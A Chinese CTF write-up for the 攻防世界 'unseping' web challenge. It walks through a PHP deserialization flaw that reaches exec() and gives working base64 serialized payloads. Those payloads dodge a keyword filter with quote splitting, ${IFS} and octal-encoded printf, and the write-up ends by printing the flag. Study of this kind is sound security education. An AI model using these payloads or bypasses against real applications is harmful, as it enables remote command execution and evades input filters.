攻防世界-web-unseping

题目

image.png
image.png

知识点

  • PHP代码审计
  • PHP序列化和反序列化
  • PHP中魔术方法
  • 命令执行绕过方式

解读源码

<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

这道题首先一上来就是一段PHP代码,其中看到unserialize()就知道考的是反序列化,但是我们再往上看代码会发现还有命令执行绕过的知识点。做出这道题的第一步就是能够理清代码执行顺序和各个函数的功能。接下来我们先分析一下源码。

__construct()

参考:https://www.runoob.com/php/func-simplexml-construct.html
这是一个构造函数,在实例化一个对象的时候,首先会去自动执行的一个方法。
在这里插入图片描述

image.png

__destruct()

参考:https://www.runoob.com/php/php-oop.html
在这里插入图片描述

in_array()

参考:https://www.runoob.com/php/func-array-in-array.html
image.png

all_user_func_array()

image.png

exec()

image.png
image.png

var_dump()

用于输出变量的详细信息,包括值和类型等
image.png
image.png image.png

preg_match_all()

参考:http://php.p2hp.com/manual/zh/function.preg-match-all.php
用于执行一个全局正则表达式匹配
image.png

__wakeup()

unserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源。
预先准对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。

foreach()

image.png

解题

代码执行顺序:

  1. 以POST方式提交ctf
  2. 对提交的值进行base64解码
  3. 进行反序列化
  4. 然后执行__wakeup()函数
  5. 执行析构函数_destruct()

能够看懂代码之后我们就可以开始进行尝试。由于我们是需要查看当前目录,寻找一下是否有flag的文件提示,但是有一个waf函数进行过滤,所以我们不能直接传参为ls。这就需要我们的命令执行绕过方式了。

系列化

我们可以检验上面我们的思路是否正确。

<?php
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
     
}
 
$o=new ease("ping",array("ifconfig"));
$s = serialize($o);
echo base64_encode($s);
?>

image.png
运行结果:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo4OiJpZmNvbmZpZyI7fX0=

将上述代码结果以post形式提交进去
在这里插入图片描述

这时候我们发现页面返回了结果:
image.png
这就说明我们整体思路是没有问题的,直接使用命令绕过方法寻找Flag。

命令绕过

上面检验命令是可以执行的,我们接下来思路就放在命令执行绕过过滤即可,寻找flag线索。

  • 单引号
  • 双引号
  • ${Z}

ls看文件/文件夹

<?php
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
     
}
 
$o=new ease("ping",array('l""s'));
$s = serialize($o);
echo base64_encode($s);
?>

结果为:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==

将结果进行post传参数
image.png
得到结果:
image.png

看文件夹

看到了"flag_1s_here”文件夹,于是我们查看一下该文件夹下目录;于是执行命令"ls flag_1s_here";此处空格用${IFS}绕过。

<?php
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
     
}
 
$o=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$s = serialize($o);
echo base64_encode($s);
?>

结果为:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

将结果进行post传参image.png
看着没有返回东西,但是查看源代码就能发现有东西
image.png

查看flag文件

于是我们通过命令查看该文件;命令cat flag_1s_here/flag_831b69012c67b35f.php。
/绕过方式:利用oct编码(八进制)绕过;$(printf “\154\163”)//ls命令
通过python脚本实现oct绕过:

str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
arr = []
for i in str1:
    #对字符先转换为ASCII码,再转换为八进制
    r = oct(ord(i))
    #这个主要是为了将八进制前面的0o替换掉
    r=str(r).replace("0o","")
    arr.append(r)
s = "\\"
# print(arr)
#将所有的八进制组合,最终的结果第一个地方应该再添加一个\
p=s.join(arr)
print(p)

运行结果:

143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160

将其结果带入命令那执行,代码如下:

<?php
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
     
}
$o=new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
$s = serialize($o);
 
echo base64_encode($s);
?>

运行结果:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319

post传参:
image.png
然后查看源代码:,得到了flag:
image.png

cyberpeace{40bf3edc1a1acafabd938372352a40f9}
  • 32
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值